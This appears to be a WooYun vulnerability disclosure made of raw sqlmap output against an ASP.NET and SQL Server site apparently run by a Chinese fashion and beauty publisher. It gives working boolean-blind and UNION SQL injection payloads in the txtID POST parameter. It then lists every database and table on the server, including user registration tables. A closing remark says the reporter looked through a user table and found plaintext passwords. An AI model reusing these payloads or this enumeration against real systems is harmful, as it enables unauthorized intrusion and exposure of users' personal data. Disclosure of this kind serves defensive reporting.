WooYun.org

sqlmap identified the following injection points with a total of 66 HTTP(s) requests:
---
Place: (custom) POST
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: __EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=RFQ6MQ1TQ5DTrlOXoM6uis75wrnGEBR0vPbJ4wSUCYubtPlefjRJ7KitBgtyLrZxkzHNL+OqdL1tVFLiAlJok61xGjs+F6h7DRgGF4BhwIaJ7LoiD1nx+WtWO2KYLlSGowHCZMSrHl/QVu88VTgxaA3H1R1YRnOkpRrnglUmlbK+BG2CPmY+ZQPgviai0z5yj1gZvrUJCm8gxYTfJxDPCj2wdHiC/HM6ByeJZtzyu+1ym1INgHhBDJqyNG6OaoriVB9I++zsaPgTU9p/8GZkuiD0SR9F4H/CnK8+wrhuc/Bqb8lRIkbQrpyjTuFKNb8Min0FqDemsrjAGF/eGFf/mL9+Agk+9ML6iLKyIj0125kK+ymcKcMemuDB4AuKeAp2bOzpI7+PD9Cb5IDMQn+3/QkYLJPeLUkH6TQmxXglqal1NHccVW8RFUNreF0Xhc99SQ/VrJIDYqUjH8HwPReqsBMWdsZnEZHmsao4Yv8bJnIDM5tuL7xvw2c4/bFrY7kgO1Zkj0WR6c9aHffPFRZVZlAnHloQ72t7hGY5JMOPNMe7PRPihv9+t4rzRAEDjuQrsT8PsEnyNnahbU46hGplGFSCjjBsttUVmlkJ2UuU2b50VkKTLzKkLktAT3P/5SSGIngKiu/PBrYq8ojeZKAvfTUeVRKuv+bhtx/yTIttLAEuxjhNJmVFpZ0Np5xou2WMqg1Yy5/7QYur/d3A5JcWPaT12it+MbXX1Z7ogrMGtiImbkeHEa1768j5v7g9RPwMqIvbTUWbPQAPcvN1TKJgUW+QF++f63ADPjRMfxYO3HJjkOjOECMuRNVV0Ts2k9UPLXMK4Q33c7abje+fylbADBpymOjNFfwXEx0GniFw9Z/FumYrnveYEXVcIj3xFO6omnjr1xxDJa6qDLPj+eKsb6uYSrmOHTcOZOWl13zD+QSZO2sn3lUquN5l8aqnwpYbGzyo88h0Pf5D0Y6o75ptZ85jNq4II1QhNW48Cdj6Yf5BVlpT2zD5xb0WSQmjY9tRFOfhJPvrxKnCDse14+9ztAa7J9Hjo+8Ik3M32ZQB6mFN8hHFu1O0MikcdENtmkx96QxodlEzI35JRU+3EA6SKSL62E8=&__VIEWSTATEENCRYPTED=&__EVENTVALIDATION=rAlgaoFPZl1skmnDdvD00HeMjlUo91sdO0LyAj0U0nOpCcDzryREQ5Hw6S7C+w2MI1kycUbNOwsOBR0j4DlaZr1PfKo2KWMK0RTwx/IOwWaVdzXhYmXx07eZdxM2+/+yRGEmSS8rKdNkKuQhGkYwyYtUsBlYQHR2VBiuv9sSbgtTaYzSdrKk5jvMNyolw4fQLiqKU5fX5FQFwHyKIBlncU3i9j0=&DropDownList1=0&txtID=232 AND 1764=1764&txtName=&txtPhone=&txtState=&Button2=%B2%E9%D1%AF
Type: UNION query
Title: Generic UNION query (NULL) - 21 columns
Payload: __EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=RFQ6MQ1TQ5DTrlOXoM6uis75wrnGEBR0vPbJ4wSUCYubtPlefjRJ7KitBgtyLrZxkzHNL+OqdL1tVFLiAlJok61xGjs+F6h7DRgGF4BhwIaJ7LoiD1nx+WtWO2KYLlSGowHCZMSrHl/QVu88VTgxaA3H1R1YRnOkpRrnglUmlbK+BG2CPmY+ZQPgviai0z5yj1gZvrUJCm8gxYTfJxDPCj2wdHiC/HM6ByeJZtzyu+1ym1INgHhBDJqyNG6OaoriVB9I++zsaPgTU9p/8GZkuiD0SR9F4H/CnK8+wrhuc/Bqb8lRIkbQrpyjTuFKNb8Min0FqDemsrjAGF/eGFf/mL9+Agk+9ML6iLKyIj0125kK+ymcKcMemuDB4AuKeAp2bOzpI7+PD9Cb5IDMQn+3/QkYLJPeLUkH6TQmxXglqal1NHccVW8RFUNreF0Xhc99SQ/VrJIDYqUjH8HwPReqsBMWdsZnEZHmsao4Yv8bJnIDM5tuL7xvw2c4/bFrY7kgO1Zkj0WR6c9aHffPFRZVZlAnHloQ72t7hGY5JMOPNMe7PRPihv9+t4rzRAEDjuQrsT8PsEnyNnahbU46hGplGFSCjjBsttUVmlkJ2UuU2b50VkKTLzKkLktAT3P/5SSGIngKiu/PBrYq8ojeZKAvfTUeVRKuv+bhtx/yTIttLAEuxjhNJmVFpZ0Np5xou2WMqg1Yy5/7QYur/d3A5JcWPaT12it+MbXX1Z7ogrMGtiImbkeHEa1768j5v7g9RPwMqIvbTUWbPQAPcvN1TKJgUW+QF++f63ADPjRMfxYO3HJjkOjOECMuRNVV0Ts2k9UPLXMK4Q33c7abje+fylbADBpymOjNFfwXEx0GniFw9Z/FumYrnveYEXVcIj3xFO6omnjr1xxDJa6qDLPj+eKsb6uYSrmOHTcOZOWl13zD+QSZO2sn3lUquN5l8aqnwpYbGzyo88h0Pf5D0Y6o75ptZ85jNq4II1QhNW48Cdj6Yf5BVlpT2zD5xb0WSQmjY9tRFOfhJPvrxKnCDse14+9ztAa7J9Hjo+8Ik3M32ZQB6mFN8hHFu1O0MikcdENtmkx96QxodlEzI35JRU+3EA6SKSL62E8=&__VIEWSTATEENCRYPTED=&__EVENTVALIDATION=rAlgaoFPZl1skmnDdvD00HeMjlUo91sdO0LyAj0U0nOpCcDzryREQ5Hw6S7C+w2MI1kycUbNOwsOBR0j4DlaZr1PfKo2KWMK0RTwx/IOwWaVdzXhYmXx07eZdxM2+/+yRGEmSS8rKdNkKuQhGkYwyYtUsBlYQHR2VBiuv9sSbgtTaYzSdrKk5jvMNyolw4fQLiqKU5fX5FQFwHyKIBlncU3i9j0=&DropDownList1=0&txtID=232 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(116)+CHAR(122)+CHAR(113)+CHAR(118)+CHAR(97)+CHAR(86)+CHAR(81)+CHAR(102)+CHAR(100)+CHAR(75)+CHAR(101)+CHAR(98)+CHAR(84)+CHAR(113)+CHAR(117)+CHAR(110)+CHAR(103)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &txtName=&txtPhone=&txtState=&Button2=%B2%E9%D1%AF
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: (custom) POST
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: __EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=RFQ6MQ1TQ5DTrlOXoM6uis75wrnGEBR0vPbJ4wSUCYubtPlefjRJ7KitBgtyLrZxkzHNL+OqdL1tVFLiAlJok61xGjs+F6h7DRgGF4BhwIaJ7LoiD1nx+WtWO2KYLlSGowHCZMSrHl/QVu88VTgxaA3H1R1YRnOkpRrnglUmlbK+BG2CPmY+ZQPgviai0z5yj1gZvrUJCm8gxYTfJxDPCj2wdHiC/HM6ByeJZtzyu+1ym1INgHhBDJqyNG6OaoriVB9I++zsaPgTU9p/8GZkuiD0SR9F4H/CnK8+wrhuc/Bqb8lRIkbQrpyjTuFKNb8Min0FqDemsrjAGF/eGFf/mL9+Agk+9ML6iLKyIj0125kK+ymcKcMemuDB4AuKeAp2bOzpI7+PD9Cb5IDMQn+3/QkYLJPeLUkH6TQmxXglqal1NHccVW8RFUNreF0Xhc99SQ/VrJIDYqUjH8HwPReqsBMWdsZnEZHmsao4Yv8bJnIDM5tuL7xvw2c4/bFrY7kgO1Zkj0WR6c9aHffPFRZVZlAnHloQ72t7hGY5JMOPNMe7PRPihv9+t4rzRAEDjuQrsT8PsEnyNnahbU46hGplGFSCjjBsttUVmlkJ2UuU2b50VkKTLzKkLktAT3P/5SSGIngKiu/PBrYq8ojeZKAvfTUeVRKuv+bhtx/yTIttLAEuxjhNJmVFpZ0Np5xou2WMqg1Yy5/7QYur/d3A5JcWPaT12it+MbXX1Z7ogrMGtiImbkeHEa1768j5v7g9RPwMqIvbTUWbPQAPcvN1TKJgUW+QF++f63ADPjRMfxYO3HJjkOjOECMuRNVV0Ts2k9UPLXMK4Q33c7abje+fylbADBpymOjNFfwXEx0GniFw9Z/FumYrnveYEXVcIj3xFO6omnjr1xxDJa6qDLPj+eKsb6uYSrmOHTcOZOWl13zD+QSZO2sn3lUquN5l8aqnwpYbGzyo88h0Pf5D0Y6o75ptZ85jNq4II1QhNW48Cdj6Yf5BVlpT2zD5xb0WSQmjY9tRFOfhJPvrxKnCDse14+9ztAa7J9Hjo+8Ik3M32ZQB6mFN8hHFu1O0MikcdENtmkx96QxodlEzI35JRU+3EA6SKSL62E8=&__VIEWSTATEENCRYPTED=&__EVENTVALIDATION=rAlgaoFPZl1skmnDdvD00HeMjlUo91sdO0LyAj0U0nOpCcDzryREQ5Hw6S7C+w2MI1kycUbNOwsOBR0j4DlaZr1PfKo2KWMK0RTwx/IOwWaVdzXhYmXx07eZdxM2+/+yRGEmSS8rKdNkKuQhGkYwyYtUsBlYQHR2VBiuv9sSbgtTaYzSdrKk5jvMNyolw4fQLiqKU5fX5FQFwHyKIBlncU3i9j0=&DropDownList1=0&txtID=232 AND 1764=1764&txtName=&txtPhone=&txtState=&Button2=%B2%E9%D1%AF
Type: UNION query
Title: Generic UNION query (NULL) - 21 columns
Payload: __EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=RFQ6MQ1TQ5DTrlOXoM6uis75wrnGEBR0vPbJ4wSUCYubtPlefjRJ7KitBgtyLrZxkzHNL+OqdL1tVFLiAlJok61xGjs+F6h7DRgGF4BhwIaJ7LoiD1nx+WtWO2KYLlSGowHCZMSrHl/QVu88VTgxaA3H1R1YRnOkpRrnglUmlbK+BG2CPmY+ZQPgviai0z5yj1gZvrUJCm8gxYTfJxDPCj2wdHiC/HM6ByeJZtzyu+1ym1INgHhBDJqyNG6OaoriVB9I++zsaPgTU9p/8GZkuiD0SR9F4H/CnK8+wrhuc/Bqb8lRIkbQrpyjTuFKNb8Min0FqDemsrjAGF/eGFf/mL9+Agk+9ML6iLKyIj0125kK+ymcKcMemuDB4AuKeAp2bOzpI7+PD9Cb5IDMQn+3/QkYLJPeLUkH6TQmxXglqal1NHccVW8RFUNreF0Xhc99SQ/VrJIDYqUjH8HwPReqsBMWdsZnEZHmsao4Yv8bJnIDM5tuL7xvw2c4/bFrY7kgO1Zkj0WR6c9aHffPFRZVZlAnHloQ72t7hGY5JMOPNMe7PRPihv9+t4rzRAEDjuQrsT8PsEnyNnahbU46hGplGFSCjjBsttUVmlkJ2UuU2b50VkKTLzKkLktAT3P/5SSGIngKiu/PBrYq8ojeZKAvfTUeVRKuv+bhtx/yTIttLAEuxjhNJmVFpZ0Np5xou2WMqg1Yy5/7QYur/d3A5JcWPaT12it+MbXX1Z7ogrMGtiImbkeHEa1768j5v7g9RPwMqIvbTUWbPQAPcvN1TKJgUW+QF++f63ADPjRMfxYO3HJjkOjOECMuRNVV0Ts2k9UPLXMK4Q33c7abje+fylbADBpymOjNFfwXEx0GniFw9Z/FumYrnveYEXVcIj3xFO6omnjr1xxDJa6qDLPj+eKsb6uYSrmOHTcOZOWl13zD+QSZO2sn3lUquN5l8aqnwpYbGzyo88h0Pf5D0Y6o75ptZ85jNq4II1QhNW48Cdj6Yf5BVlpT2zD5xb0WSQmjY9tRFOfhJPvrxKnCDse14+9ztAa7J9Hjo+8Ik3M32ZQB6mFN8hHFu1O0MikcdENtmkx96QxodlEzI35JRU+3EA6SKSL62E8=&__VIEWSTATEENCRYPTED=&__EVENTVALIDATION=rAlgaoFPZl1skmnDdvD00HeMjlUo91sdO0LyAj0U0nOpCcDzryREQ5Hw6S7C+w2MI1kycUbNOwsOBR0j4DlaZr1PfKo2KWMK0RTwx/IOwWaVdzXhYmXx07eZdxM2+/+yRGEmSS8rKdNkKuQhGkYwyYtUsBlYQHR2VBiuv9sSbgtTaYzSdrKk5jvMNyolw4fQLiqKU5fX5FQFwHyKIBlncU3i9j0=&DropDownList1=0&txtID=232 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(116)+CHAR(122)+CHAR(113)+CHAR(118)+CHAR(97)+CHAR(86)+CHAR(81)+CHAR(102)+CHAR(100)+CHAR(75)+CHAR(101)+CHAR(98)+CHAR(84)+CHAR(113)+CHAR(117)+CHAR(110)+CHAR(103)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &txtName=&txtPhone=&txtState=&Button2=%B2%E9%D1%AF
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
Database: comment
[16 tables]
+-------------------------------------+
| Comment |
| FeedBack |
| FeedBack_BBS |
| KeyWord |
| NewsTitle |
| RayLi_Comment_Argue |
| RayLi_Comment_Content |
| RayLi_Comment_Content_view |
| RayLi_Comment_PvControl |
| RayLi_Comment_Title |
| RayLi_Comment_Topic |
| dtproperties |
| wwwComment |
| wwwComment_0724 |
| wwwNewsTitle |
| wwwcomment_bad |
+-------------------------------------+
Database: Webpub2
[5 tables]
+-------------------------------------+
| Page |
| dtproperties |
| page1 |
| taglog |
| webpub.tagtop |
+-------------------------------------+
Database: tempdb
[6 tables]
+-------------------------------------+
| #4AC962A0 |
| #4BBD86D9 |
| #4E99F384 |
| #5176602F |
| #526A8468 |
| #535EA8A1 |
+-------------------------------------+
Database: Minisite
[29 tables]
+-------------------------------------+
| 12 |
| CoverGirlPrintUser |
| HotBaby_session_PvControl |
| Impress_NewOne_date |
| Impress_NewOne_shop |
| Impress_SetZero |
| Kiehls_comment |
| LancomeRegisterExt |
| LifeHall_register |
| Nivea_PvControl |
| Nivea_register |
| Pantene_PvControl |
| Pantene_comment |
| Pantene_register |
| PerfectLoveSendMail_register |
| PerfectLove_DataCount |
| PerfectLove_Mail |
| RayLi_CoverGirl_register_bak |
| RayLi_Ol_register |
| VE_Message |
| VE_YanZheng_register |
| VE_register |
| VS_tourist |
| covergirl_ip |
| covergirl_vote |
| dove_vote |
| gridRigister |
| ve_special |
| weibofacebook_comment |
+-------------------------------------+
Database: LexoSU
[29 tables]
+-------------------------------------+
| KWDayliTop_dy |
| KWDayliTop_dyrw |
| KWDayliTop_dytp |
| KWDayliTop_dyzl |
| KWDayliTop_lt |
| KWDayliTop_ltsp |
| KWDayliTop_lttz |
| KWDayliTop_ltyh |
| KWDayliTop_lxec |
| KWDayliTop_sp |
| KWDayliTop_spjm |
| KWDayliTop_wyspjm |
| KWDayliTop_xc |
| KWDayliTop_xw |
| KWDayliTop_xw4 |
| KWDayliTop_xw5 |
| KWDayliTop_xw6 |
| KWDayliTop_xw99 |
| KWDayliTop_xwyl |
| KWT |
| KWTIndex |
| RCT |
| SearchRes |
| Sys |
| _GB2312 |
| _dz |
| kwcor |
| sysdiagrams |
| words_tw |
+-------------------------------------+
Database: msdb
[29 tables]
+-------------------------------------+
| log_shipping_monitor_alert |
| log_shipping_monitor_error_detail |
| log_shipping_monitor_history_detail |
| log_shipping_monitor_primary |
| log_shipping_monitor_secondary |
| log_shipping_primary_databases |
| log_shipping_primary_secondaries |
| log_shipping_secondary |
| log_shipping_secondary_databases |
| logmarkhistory |
| restorefilegroup |
| sqlagent_info |
| suspect_pages |
| sysdownloadlist |
| sysdtscategories |
| sysdtspackages |
| sysjobactivity |
| sysjobhistory |
| sysjobs |
| sysjobs_view |
| sysjobservers |
| sysjobsteps |
| sysoriginatingservers |
| sysoriginatingservers_view |
| sysproxylogin |
| sysproxyloginsubsystem_view |
| sysproxysubsystem |
| syssessions |
| syssubsystems |
+-------------------------------------+
Database: fashionpk2010
[2 tables]
+-------------------------------------+
| invote |
| paper |
+-------------------------------------+
Database: food
[8 tables]
+-------------------------------------+
| content |
| content_bak |
| contentbak |
| dtproperties |
| item |
| item_bak |
| kind |
| kind_bak |
+-------------------------------------+
Database: rayliChannel
[7 tables]
+-------------------------------------+
| DressMission |
| Lovewords |
| Singlefarewell |
| dtproperties |
| ideamarket |
| trueloveregister |
| user_full_info |
+-------------------------------------+
Database: master
[29 tables]
+-------------------------------------+
| INFORMATION_SCHEMA.COLUMNS |
| INFORMATION_SCHEMA.DOMAINS |
| INFORMATION_SCHEMA.ROUTINE_COLUMNS |
| INFORMATION_SCHEMA.SCHEMATA |
| INFORMATION_SCHEMA.TABLE_PRIVILEGES |
| MSreplication_options |
| iaskcomment |
| iasktitle |
| spt_fallback_db |
| spt_fallback_dev |
| spt_fallback_usg |
| spt_monitor |
| spt_values |
| sys.dm_db_session_space_usage |
| sys.dm_db_task_space_usage |
| sys.dm_exec_query_optimizer_info |
| sys.dm_exec_requests |
| sys.dm_os_hosts |
| sys.dm_os_loaded_modules |
| sys.dm_os_memory_allocations |
| sys.dm_os_memory_objects |
| sys.dm_os_schedulers |
| sys.dm_os_threads |
| sys.dm_os_waiting_tasks |
| sys.dm_qn_subscriptions |
| sys.dm_repl_tranhash |
| sys.dm_tran_top_version_generators |
| sys.openkeys |
| sys.traces |
+-------------------------------------+
Database: minisite236
[29 tables]
+-------------------------------------+
| Clinique_DataMessage |
| Color_Survey |
| Dior_PvControl |
| Dior_Register |
| Emailaddress |
| JiaJu_Photo |
| JiaJu_PvControl |
| JiaJu_Register |
| M_PvControl |
| Mariefrance_BodyLine |
| SUPREME_AUPRES_register |
| VipPhone |
| Yuesai_blueworld |
| Yuesai_visitor |
| bo_Discuss |
| bo_Scores |
| bo_Scoresclass |
| bo_admin |
| bo_user |
| cayo_diaocha |
| cayo_message |
| jihoufeng |
| m_ShowFlash |
| m_ipcontrol |
| mac_bbs |
| mac_register |
| mac_sheetvote |
| mac_voter |
| vote |
+-------------------------------------+
Database: fashionpk
[2 tables]
+-------------------------------------+
| invote |
| paper |
+-------------------------------------+
Database: iask
[2 tables]
+-------------------------------------+
| iaskcomment |
| iasktitle |
+-------------------------------------+
Database: Survey
[17 tables]
+-------------------------------------+
| db_owner.D99_Tmp |
| db_owner.D9_Tmp |
| db_owner.X_8485 |
| db_owner.dirs |
| CommentDetail |
| CommentMaster |
| Counter |
| EMCount |
| SurveyMaster |
| SurveyQuestion |
| SurveyQuestionAnswer |
| SurveyQuestionOption |
| VoteMaster |
| VoteQuestion |
| VoteQuestionOption |
| pangolin_test_table |
| sysdiagrams |
+-------------------------------------+
Database: IFACE230_Rayli
[29 tables]
+-------------------------------------+
| DCC |
| DP2 |
| DateMarks |
| ErrSite |
| ItemCleaning |
| MDCustDocs |
| PageReference |
| PgClass |
| Topics |
| URLQueue |
| dockw |
| docpg2 |
| docpic2 |
| doctab2 |
| fenge |
| jiaose |
| mLog201102 |
| mLog201103 |
| mLog201104 |
| mLog201105 |
| mLog201106 |
| mLog201107 |
| mLog201108 |
| mlog |
| mobanlx |
| rayliChannel2Crawl |
| xinxiy |
| yonghuzhtz |
| zhuantiyh |
+-------------------------------------+
Database: beautypaper
[1 table]
+-------------------------------------+
| paper |
+-------------------------------------+
Database: minisite2
[8 tables]
+-------------------------------------+
| CoverPlay |
| Example_Ol |
| Favorgirl_PvControl |
| favor_votePeople |
| favorgirl |
| favorgirl_bak |
| favorgirl_bak2 |
| test |
+-------------------------------------+
随便翻了下user表，居然密码是明文的，好在没几个数据...